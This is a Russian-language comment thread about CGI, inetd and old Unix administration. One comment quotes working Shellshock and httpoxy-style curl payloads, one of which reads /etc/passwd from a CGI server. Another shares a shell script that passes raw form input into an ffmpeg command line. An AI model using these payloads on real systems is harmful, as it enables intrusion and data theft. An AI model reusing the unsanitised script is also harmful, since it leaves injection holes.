Pull to refresh

Comments 22

vipw, /etc/rc.local, Apache... повеяло чем-то теплым и ламповым.

Единственный нюанс с i2pd - он ищет конфиги в домашнем каталоге, в ~/.i2pd, а для данного юзера это каталог /var/www

Попробуйте дернуть файл https://ваш_сайт/.i2pd

Not found

А что должно быть? Корень html - /var/www/html/, домашний каталог юзера /var/www, это выше на уровень.

vipw - да, еще помню что это такое )
А то предложат поставить современный DE, чтобы в Настройках -> Пользователях -> Свойствах смотреть...

UFO landed and left these words here

Копи-паста наше фсё )

В архиве-то так было!

UFO landed and left these words here

Ну не совсем апач, даже совсем не апач, но очень удобная вещь, да.
Когда надо принять по сети пакет и обработать - и писать кроме самой обработки данных еще и работу с сетью, прием данных, создание потоков, вот это всё - когда можно просто использовать inet.d.

Не понимаю, кому он помешал. Видимо, пришельцам из мира Windows, где "программа" должна быть непременно "интегрированной" и включать в себя всё, от работы с клавиатурой до управления сокетами.
Или тем программистам, которым разрешили пользоваться портами "выше 1000", а настраивать inetd.conf не разрешили.
Монолит вместо микросервисов

UFO landed and left these words here

Ой, за логи в бинарниках прям отдельный котёл в аду!

Так, systemd уже тоже, типа, не модно и появилось куча своего чуть ли не в каждом дистрибутиве.

UFO landed and left these words here
UFO landed and left these words here

А если дальше по размышлять, то все лямбды - это хорошо забытое старое, например, программы на меинфреймах.

CGI как технологией, использовавшейся в начале веб-времен

А мне почему то кажется, что практически на всех web сайтах технология CGI и используется до сих пор. Возможно, путаницу вносит то, что даже в описании фигурирует слово "Скрипт", но на самом деле это понятие определено в явном виде (ниже кусок из RFC 3875) и скриптом может быть процедура в серверном приложении. CGI - это набор условий, интерфейс, и в целом большинство действующих серверов их и выполняют. Залезьте в отладчик в браузере и увидите тот самый CGI интерфейс.

'script' The software that is invoked by the server according to this interface. It need not be a standalone program, but could be a dynamically-loaded or shared library, or even a subroutine in the server. It might be a set of statements interpreted at run-time, as the term 'script' is frequently understood, but that is not a requirement and within the context of this specification the term has the broader definition stated.

'script' Программное обеспечение, которое вызывается сервером в соответствии с этим интерфейсом. Это не обязательно должна быть отдельная программа, но может быть динамически загружаемая или разделяемая библиотека или даже подпрограмма на сервере. Это может быть набор операторов, интерпретируемых во время выполнения, поскольку термин «скрипт» часто понимается, но это не является требованием, и в контексте данной спецификации термин имеет более широкое определение.

Речь идет о Common Gateway Interface, а слово скрипт тут вообще ни при чем. Можно точно так же запустить бинарник, созданный на С.

Современные вебсистемы всё-таки чаще имеют в своем составе собственный вебсервер, в том или ином виде.

Когда-то можно было делать вот так:

curl --user-agent '() { :;}; echo -ne "Content-Type: text/plain\r\n\r\n"; /bin/cat /etc/passwd' http://xx.xx.xx.xx/cgi-bin/env.cgi

И вот так:

curl --header 'Proxy: 192.0.2.222' http://xx.xx.xx.xx/cgi-bin/check_one.cgi

CGI, в особенности вместе с Shell, опасен слишком широкими возможностями для манипуляции окружением снаружи. Тяжело заранее узнать, не будет ли одна из программ, вызываемых CGI-скриптом, каким-то неожиданным для разработчика образом интерпретировать переменные окружения.

Да, не без этого. Учитывая что env.cgi по умолчанию шло в комплекте...

В частности поэтому в скриптах на Perl встречалась конструкция $ENV={} или как-то так.

А в данном случае можно добавить вот такое:

# сохраним строку запроса
q=$QUERY_STRING

# все остальное удалим
unset $(env | cut -d= -f1)

...

# используем
echo ${q}

UFO landed and left these words here

CGI настолько хорошо забыли, что даже неоднократно переизобрели:

Собственно, нагуглил это все как только понял, что моя задача отлично ложится на модель CGI - и после этого стало интересно, нет ли других реализаций кроме apache/lighttpd/openresty?

UFO landed and left these words here

не так уж и забыта "технология"

из старой камеры этим шлюзом картинку в браузер выковыривал.

в скрипте *.sh

ffmpeg  -rtsp_transport tcp  -i "rtsp://${FORM_username}:${FORM_password}@127.0.0.1:554/stream1"  -c:v mjpeg -map 0:v    -strict -2 -c:a aac  -map 0:a  -loglevel 0  -f nut  - 2> /tmp/out.txt

а весь выхлоп браузер сам понимает как вполне себе живое видео.

ну-ка, ну-ка, это мне надо, ща попробую....

Sign up to leave a comment.

Articles